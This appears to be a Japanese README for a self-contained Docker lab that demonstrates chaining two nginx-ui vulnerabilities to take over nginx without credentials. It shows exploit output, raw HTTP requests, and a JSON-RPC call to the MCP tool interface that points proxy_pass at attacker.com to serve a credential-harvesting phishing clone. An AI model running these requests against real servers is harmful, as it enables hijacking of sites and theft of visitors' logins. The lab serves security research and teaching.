
Docker Compose を使用して nginx-ui の認証欠落の脆弱性を実証するためのセットアップ
免責事項: このリポジトリは教育目的および許可を得たセキュリティ研究のみを目的としています。ここで実演されるすべての技術は、所有しているシステムまたは明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。著者は誤用について一切の責任を負いません。許可なくいかなるシステムに対しても実行しないでください。
nginx-ui v2.3.1に対する2つのCVEの連鎖を実演する自己完結型のDocker Composeラボです。事前知識ゼロ(ユーザー名なし、パスワードなし、トークンなし)でnginxの完全な乗っ取りを達成します。
GET /api/backup は認証を必要としません。このエンドポイントはnginx-uiインストールの暗号化バックアップ全体(app.iniを含む)を返し、AES-256-CBCの復号鍵とIVを平文でレスポンスヘッダーに含めて送信します:
X-Backup-Security: <base64_key>:<base64_iv>
ソースコード(api/backup/router.go)より:
r.GET("/backup", CreateBackup) // ❌ ミドルウェアなし
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
バックアップを復号するとapp.iniが得られ、ステップ2に必要な[node] Secretが含まれています。
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 Critical |
| 影響を受けるバージョン | nginx-ui < 2.3.2 |
| 修正バージョン | nginx-ui 2.3.3 |
nginx-ui v2.3.xには、12個のnginx管理ツールを公開するModel Context Protocol (MCP) インターフェースが追加されました。このバグはmcp/router.goにおける単一のミドルウェア呼び出しの欠落です:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired()が欠落
ノードシークレットで取得したsessionIdを使用することで、攻撃者はユーザー認証情報なしで/mcp_messageにPOSTし、nginx_config_modifyやreload_nginxを含む任意の特権ツールを呼び出すことができます。
| CVE | CVE-2026-33032 |
| 別名 | MCPwn (Pluto Security) |
| CVSS | 9.8 Critical |
| 影響を受けるバージョン | nginx-ui ≤ 2.3.3 |
| 修正バージョン | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ Browser │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ Attacker ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) VULNERABLE │
│ (no credentials) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (green) │ legitimate │
│ │ proxy_pass default │ login form │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (red) │ phishing clone │
│ │ proxy_pass after attack │ harvests creds │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-uiは独自のnginxインスタンスをバンドルしています。エクスプロイトがMCP経由でreload_nginxを呼び出すと、:8080でトラフィックを処理している同じnginxがリロードされます — ホストへのアクセスは不要です。
要件: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | 被害者サイト — 緑(正規) |
http://localhost:9000 | nginx-ui管理パネル |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
このスクリプトは事前の認証情報なしで両方のCVEを連鎖させます:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui Zero-Cred RCE
Target : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] Recon — reading current config
[+] Current: proxy_pass http://webapp:80;
[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New: proxy_pass http://malicious_site:80;
[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded — config is live
[!] Attack complete.
Victims at http://localhost:8080/ are now served the phishing page.
View captured credentials: http://localhost:8080/?debug=1
エクスプロイト後、http://localhost:8080は緑の正規ページから赤のフィッシングクローンに切り替わります — 同じURLのままで、被害者には一切気づかれません。
http://localhost:8080/?debug=1を開くと攻撃者パネルが表示され、リアルタイムで取得された認証情報を確認できます。
python3 exploit/exploit.py --url http://localhost:9000 --reset
同じCVEチェーンを使用して元の設定を復元し、nginxをリロードします。
GET /api/backup HTTP/1.1
Host: target:9000
レスポンス:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
提供された鍵/IVでzipを復号 → app.iniを抽出 → [node] Secretを読み取ります。
リクエスト1 — SSEセッションを開く(ノードシークレット、ユーザー認証なし):
GET /mcp?node_secret=<uuid>
SSEストリームがsessionIdで応答します。
リクエスト2以降 — ツールの呼び出し(認証は一切不要):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Authorizationヘッダーなし。Cookieなし。AuthRequired()は/mcp_messageルートから単純に欠落しています。
| ツール | 影響 |
|---|---|
nginx_config_modify | 任意の設定ファイルを上書き |
nginx_config_add | 新しい設定ファイルを作成 |
nginx_config_get | 任意の設定ファイルを読み取り |
nginx_config_list | すべての設定を一覧表示 |
nginx_config_enable/disable | サイト設定の有効/無効を切り替え |
nginx_config_rename | 設定ファイルの移動/名前変更 |
nginx_config_mkdir | ディレクトリを作成 |
nginx_config_history | 変更履歴を表示 |
nginx_config_base_path | 設定ルートパスを公開 |
nginx_status | nginxのステータスを確認 |
reload_nginx | 設定変更をライブで適用 |
restart_nginx | nginxを完全再起動 |
app.iniに空でない[node] IPWhiteListを設定して、MCPアクセスを特定のIPに制限/etc/nginx/conf.d/を監視